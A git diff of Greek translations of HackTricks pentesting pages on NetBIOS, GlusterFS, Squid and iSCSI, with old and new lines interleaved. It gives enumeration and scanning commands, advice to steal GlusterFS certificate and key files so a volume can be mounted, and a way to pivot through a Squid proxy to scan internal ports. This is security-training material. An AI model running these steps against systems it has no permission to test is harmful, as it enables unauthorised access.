Αυτές οι υπηρεσίες είναι αναπόσπαστο μέρος της λειτουργικότητας του **NetBIOS**, επιτρέποντας αποτελεσματική επικοινωνία και κοινή χρήση πόρων σε ένα δίκτυο. Για περισσότερες πληροφορίες σχετικά με τα πρωτόκολλα TCP και IP, ανατρέξτε στις αντίστοιχες σελίδες τους στο [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) και [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
Αυτές οι υπηρεσίες είναι αναπόσπαστο μέρος της λειτουργικότητας **NetBIOS**, επιτρέποντας αποδοτική επικοινωνία και κοινή χρήση πόρων σε ένα δίκτυο. Για περισσότερες πληροφορίες σχετικά με τα πρωτόκολλα TCP και IP, ανατρέξτε στις αντίστοιχες σελίδες τους [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) και [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
```bash
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
**Διαβάστε την επόμενη σελίδα για να μάθετε πώς να απαριθμήσετε αυτήν την υπηρεσία:**
**Διαβάστε την επόμενη σελίδα για να μάθετε πώς να καταμετρήσετε αυτή την υπηρεσία:**
{% content-ref url="137-138-139-pentesting-netbios.md" %}
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
{% endcontent-ref %}
## Αυτόματες Εντολές HackTricks
## HackTricks Αυτόματες Εντολές
```
Protocol_Name: Netbios #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
@ -84,16 +85,17 @@ Name: Find Names
Description: Three scans to find the names of the server
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,60 +1,62 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Βασικές Πληροφορίες
# Basic Information
Το **GlusterFS** είναι ένα **κατανεμημένο σύστημα αρχείων** που συνδυάζει αποθήκευση από πολλούς διακομιστές σε ένα **ενιαίο σύστημα**. Επιτρέπει την **αυθαίρετη κλιμάκωση**, που σημαίνει ότι μπορείτε εύκολα να προσθέσετε ή να αφαιρέσετε διακομιστές αποθήκευσης χωρίς να διαταραχθεί το συνολικό σύστημα αρχείων. Αυτό εξασφαλίζει υψηλή **διαθεσιμότητα** και **ανοχή σφαλμάτων** για τα δεδομένα σας. Με το GlusterFS, μπορείτε να έχετε πρόσβαση στα αρχεία σας ως να ήταν αποθηκευμένα τοπικά, ανεξάρτητα από την υποκείμενη υποδομή του διακομιστή. Παρέχει μια ισχυρή και ευέλικτη λύση για τη διαχείριση μεγάλου όγκου δεδομένων σε πολλούς διακομιστές.
**GlusterFS** είναι ένα **κατανεμημένο σύστημα αρχείων** που συνδυάζει αποθήκευση από πολλούς διακομιστές σε ένα **ενιαίο σύστημα**. Επιτρέπει **αρbitrary scalability**, που σημαίνει ότι μπορείτε εύκολα να προσθέσετε ή να αφαιρέσετε διακομιστές αποθήκευσης χωρίς να διαταράξετε το συνολικό σύστημα αρχείων. Αυτό εξασφαλίζει υψηλή **διαθεσιμότητα** και **αντοχή σε σφάλματα** για τα δεδομένα σας. Με το GlusterFS, μπορείτε να έχετε πρόσβαση στα αρχεία σας σαν να ήταν αποθηκευμένα τοπικά, ανεξάρτητα από την υποκείμενη υποδομή διακομιστών. Παρέχει μια ισχυρή και ευέλικτη λύση για τη διαχείριση μεγάλων ποσοτήτων δεδομένων σε πολλούς διακομιστές.
**Προεπιλεγμένες θύρες**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (και μετά)\
Για τη θύρα 49152, πρέπει να είναι ανοιχτές οι θύρες που αυξάνονται κατά 1 για να χρησιμοποιηθούν περισσότερα bricks. _Προηγουμένως, αντί για τη θύρα 49152 χρησιμοποιούνταν η θύρα 24009._
**Default ports**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (onwards)\
Για την θύρα 49152, οι θύρες που αυξάνονται κατά 1 πρέπει να είναι ανοιχτές για να χρησιμοποιηθούν περισσότερα bricks. _Προηγουμένως χρησιμοποιούνταν η θύρα 24009 αντί της 49152._
```
PORT STATE SERVICE
24007/tcp open rpcbind
49152/tcp open ssl/unknown
```
## Απαρίθμηση
## Enumeration
Για να αλληλεπιδράσετε με αυτό το σύστημα αρχείων, πρέπει να εγκαταστήσετε τον [**πελάτη GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
Για να αλληλεπιδράσετε με αυτό το σύστημα αρχείων, πρέπει να εγκαταστήσετε τον [**πελάτη GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
Για να απαριθμήσετε και να προσαρτήσετε τους διαθέσιμους όγκους, μπορείτε να χρησιμοποιήσετε:
Για να καταγράψετε και να τοποθετήσετε τους διαθέσιμους όγκους, μπορείτε να χρησιμοποιήσετε:
```bash
sudo gluster --remote-host=10.10.11.131 volume list
# This will return the name of the volumes
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
```
Εάν λάβετε ένα **σφάλμα κατά την προσπάθεια προσάρτησης του συστήματος αρχείων**, μπορείτε να ελέγξετε τα αρχεία καταγραφής στο `/var/log/glusterfs/`.
Αν λάβετε ένα **σφάλμα κατά την προσπάθεια προσάρτησης του συστήματος αρχείων**, μπορείτε να ελέγξετε τα αρχεία καταγραφής στο `/var/log/glusterfs/`
Τα **σφάλματα που αναφέρουν πιστοποιητικά** μπορούν να διορθωθούν κλέβοντας τα αρχεία (εάν έχετε πρόσβαση στο σύστημα):
**Σφάλματα που αναφέρουν πιστοποιητικά** μπορούν να διορθωθούν κλέβοντας τα αρχεία (αν έχετε πρόσβαση στο σύστημα):
* /etc/ssl/glusterfs.ca
* /etc/ssl/glusterfs.key
* /etc/ssl/glusterfs.ca.pem
Και αποθηκεύοντάς τα στον φάκελο `/etc/ssl` ή `/usr/lib/ssl` του υπολογιστή σας (εάν χρησιμοποιείται διαφορετικός φάκελος, ελέγξτε για γραμμές παρόμοιες με: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" στα αρχεία καταγραφής).
Και αποθηκεύοντάς τα στη μηχανή σας στον κατάλογο `/etc/ssl` ή `/usr/lib/ssl` (αν χρησιμοποιείται διαφορετικός κατάλογος, ελέγξτε για γραμμές παρόμοιες με: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" στα αρχεία καταγραφής) .
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,62 +1,64 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Βασικές Πληροφορίες
# Basic Information
Από την [Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
From [Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
> **Squid** είναι ένας διακομιστής προκειμένου να προωθεί και να αποθηκεύει αιτήσεις HTTP. Έχει μια ευρεία ποικιλία χρήσεων, συμπεριλαμβανομένου του επιτάχυνση ενός διακομιστή web με την αποθήκευση επαναλαμβανόμενων αιτημάτων, την αποθήκευση web, DNS και άλλων αναζητήσεων δικτύου υπολογιστών για μια ομάδα ανθρώπων που μοιράζονται πόρους δικτύου, και την υποστήριξη της ασφάλειας με το φιλτράρισμα της κίνησης. Παρόλο που χρησιμοποιείται κυρίως για HTTP και FTP, το Squid περιλαμβάνει περιορισμένη υποστήριξη για αρκετούς άλλους πρωτόκολλους, συμπεριλαμβανομένου του Internet Gopher, SSL, TLS και HTTPS. Το Squid δεν υποστηρίζει το πρωτόκολλο SOCKS, αντίθετα με το Privoxy, με το οποίο το Squid μπορεί να χρησιμοποιηθεί για να παρέχει υποστήριξη SOCKS.
> **Squid** είναι ένας proxy HTTP που αποθηκεύει στην κρυφή μνήμη και προωθεί. Έχει μια ευρεία ποικιλία χρήσεων, συμπεριλαμβανομένης της επιτάχυνσης ενός web server αποθηκεύοντας στην κρυφή μνήμη επαναλαμβανόμενα αιτήματα, αποθήκευσης στην κρυφή μνήμη web, DNS και άλλες αναζητήσεις υπολογιστικού δικτύου για μια ομάδα ανθρώπων που μοιράζονται πόρους δικτύου, και βοήθειας στην ασφάλεια φιλτράροντας την κίνηση. Αν και χρησιμοποιείται κυρίως για HTTP και FTP, το Squid περιλαμβάνει περιορισμένη υποστήριξη για αρκετά άλλα πρωτόκολλα, συμπεριλαμβανομένων των Internet Gopher, SSL, TLS και HTTPS. Το Squid δεν υποστηρίζει το πρωτόκολλο SOCKS, σε αντίθεση με το Privoxy, με το οποίο το Squid μπορεί να χρησιμοποιηθεί για να παρέχει υποστήριξη SOCKS.
**Προεπιλεγμένη θύρα:** 3128
**Default port:** 3128
```
PORT STATE SERVICE VERSION
3128/tcp open http-proxy Squid http proxy 4.11
```
# Απαρίθμηση
# Enumeration
## Διακομιστής Ιστού
## Web Proxy
Μπορείτε να δοκιμάσετε να ορίσετε αυτήν την ανακαλυφθείσα υπηρεσία ως διακομιστή πλήρους εξουσιοδότησης στον περιηγητή σας. Ωστόσο, εάν είναι ρυθμισμένος με εξουσιοδότηση HTTP, θα σας ζητηθούν ονόματα χρηστών και κωδικοί πρόσβασης.
Μπορείτε να προσπαθήσετε να ορίσετε αυτή την ανακαλυφθείσα υπηρεσία ως proxy στον περιηγητή σας. Ωστόσο, αν είναι ρυθμισμένη με HTTP authentication, θα σας ζητηθούν ονόματα χρηστών και κωδικοί πρόσβασης.
```bash
# Try to proxify curl
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
```
## Nmap με proxy
## Nmap proxified
Μπορείτε επίσης να προσπαθήσετε να καταχραστείτε τον διαμεσολαβητή για **σάρωση εσωτερικών θυρών με τη χρήση του nmap**.\
Διαμορφώστε το proxychains ώστε να χρησιμοποιεί τον διαμεσολαβητή squid προσθέτοντας την παρακάτω γραμμή στο τέλος του αρχείου proxichains.conf: `http 10.10.10.10 3128`
Για διαμεσολαβητές που απαιτούν πιστοποίηση, προσθέστε διαπιστευτήρια στη διαμόρφωση περιλαμβάνοντας το όνομα χρήστη και τον κωδικό στο τέλος: `http 10.10.10.10 3128 όνομαρήστη κωδικός`.
Μπορείτε επίσης να προσπαθήσετε να εκμεταλλευτείτε τον proxy για **να σαρώσετε εσωτερικές θύρες χρησιμοποιώντας nmap**.\
Ρυθμίστε το proxychains να χρησιμοποιεί τον squid proxy προσθέτοντας την εξής γραμμή στο τέλος του αρχείου proxichains.conf: `http 10.10.10.10 3128`\
Για proxies που απαιτούν αυθεντικοποίηση, προσθέστε τα διαπιστευτήρια στη ρύθμιση περιλαμβάνοντας το όνομα χρήστη και τον κωδικό στο τέλος: `http 10.10.10.10 3128 username passw0rd`.
Στη συνέχεια, εκτελέστε το nmap με το proxychains για **σάρωση του κεντρικού υπολογιστή**: `proxychains nmap -sT -n -p- localhost`
Στη συνέχεια, εκτελέστε το nmap με το proxychains για **να σαρώσετε τον host από το τοπικό**: `proxychains nmap -sT -n -p- localhost`
## SPOSE Scanner
Εναλλακτικά, μπορεί να χρησιμοποιηθεί το Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)).
Εναλλακτικά, μπορεί να χρησιμοποιηθεί ο Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)).
```bash
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε AWS χάκινγκ από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,95 +1,92 @@
# 3260 - Πεντεστάροντας το iSCSI
# 3260 - Pentesting ISCSI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Από την [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
From [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
> Στην πληροφορική, το **iSCSI** είναι αρκτικόγραφο για το **Internet Small Computer Systems Interface**, ένα πρότυπο αποθήκευσης βασισμένο στο πρωτόκολλο Internet Protocol (IP) για τη σύνδεση εγκαταστάσεων αποθήκευσης δεδομένων. Παρέχει πρόσβαση σε επίπεδο μπλοκ σε συσκευές αποθήκευσης μεταφέροντας εντολές SCSI μέσω ενός δικτύου TCP/IP. Το iSCSI χρησιμοποιείται για τη διευκόλυνση μεταφοράς δεδομένων σε εταιρικά δίκτυα και για τη διαχείριση αποθήκευσης σε μεγάλες αποστάσεις. Μπορεί να χρησιμοποιηθεί για τη μετάδοση δεδομένων σε τοπικά δίκτυα (LANs), ευρυζωνικά δίκτυα (WANs) ή το Διαδίκτυο και μπορεί να επιτρέψει αποθήκευση και ανάκτηση δεδομένων ανεξάρτητα από την τοποθεσία.
> In computing, **iSCSI** is an acronym for **Internet Small Computer Systems Interface**, an Internet Protocol (IP)-based storage networking standard for linking data storage facilities. It provides block-level access to storage devices by carrying SCSI commands over a TCP/IP network. iSCSI is used to facilitate data transfers over intranets and to manage storage over long distances. It can be used to transmit data over local area networks (LANs), wide area networks (WANs), or the Internet and can enable location-independent data storage and retrieval.
>
> Το πρωτόκολλο επιτρέπει στους πελάτες (που ονομάζονται initiators) να στέλνουν εντολές SCSI (CDBs) σε συσκευές αποθήκευσης (targets) σε απομακρυσμένους διακομιστές. Είναι ένα πρωτόκολλο αποθήκευσης περιοχής δικτύου (SAN), που επιτρέπει στις οργανώσεις να συγκεντρώνουν την αποθήκευση σε πίνακες αποθήκευσης παρέχοντας στους πελάτες (όπως οι διακομιστές βάσεων δεδομένων και ιστού) την ψευδαίσθηση τοπικά συνδεδεμένων δίσκων SCSI. Ανταγωνίζεται κυρίως με το Fibre Channel, αλλά αντίθετα με το παραδοσιακό Fibre Channel που συνήθως απαιτεί αφιερωμένη καλωδίωση, το iSCSI μπορεί να λειτουργήσει σε μεγάλες αποστάσεις χρησιμοποιώντας την υπάρχουσα υποδομή δικτύου.
> The protocol allows clients (called initiators) to send SCSI commands (CDBs) to storage devices (targets) on remote servers. It is a storage area network (SAN) protocol, allowing organizations to consolidate storage into storage arrays while providing clients (such as database and web servers) with the illusion of locally attached SCSI disks. It mainly competes with Fibre Channel, but unlike traditional Fibre Channel which usually requires dedicated cabling, iSCSI can be run over long distances using existing network infrastructure.
**Προεπιλεγμένη θύρα:** 3260
**Default port:** 3260
```
PORT STATE SERVICE VERSION
3260/tcp open iscsi?
```
## Απαρίθμηση
Η απαρίθμηση είναι η διαδικασία εντοπισμού και συλλογής πληροφοριών για ένα σύστημα iSCSI. Αυτές οι πληροφορίες μπορούν να περιλαμβάνουν τις διευθύνσεις IP των συστημάτων iSCSI, τις πόρτες που χρησιμοποιούνται, τα ονόματα των συστημάτων, τα ονόματα των χρηστών και άλλες σχετικές πληροφορίες. Η απαρίθμηση μπορεί να γίνει με τη χρήση εργαλείων όπως το nmap, το iSCSI Discovery Utility (iscsiadm) και το Wireshark.
Οι πληροφορίες που συλλέγονται κατά τη διαδικασία της απαρίθμησης μπορούν να χρησιμοποιηθούν για την εκτέλεση επιθέσεων όπως η εκμετάλλευση ευπάθειας, η αποκάλυψη διαπερατότητας και η ανάλυση της ασφάλειας του συστήματος iSCSI.
## Καταμέτρηση
```
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
```
Αυτό το σενάριο θα υποδείξει εάν απαιτείται πιστοποίηση.
Αυτό το σενάριο θα υποδείξει αν απαιτείται αυθεντικοποίηση.
### [Βίαιη επίθεση](../generic-methodologies-and-resources/brute-force.md#iscsi)
### [Brute force](../generic-methodologies-and-resources/brute-force.md#iscsi)
### [Τοποθέτηση ISCSI στο Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
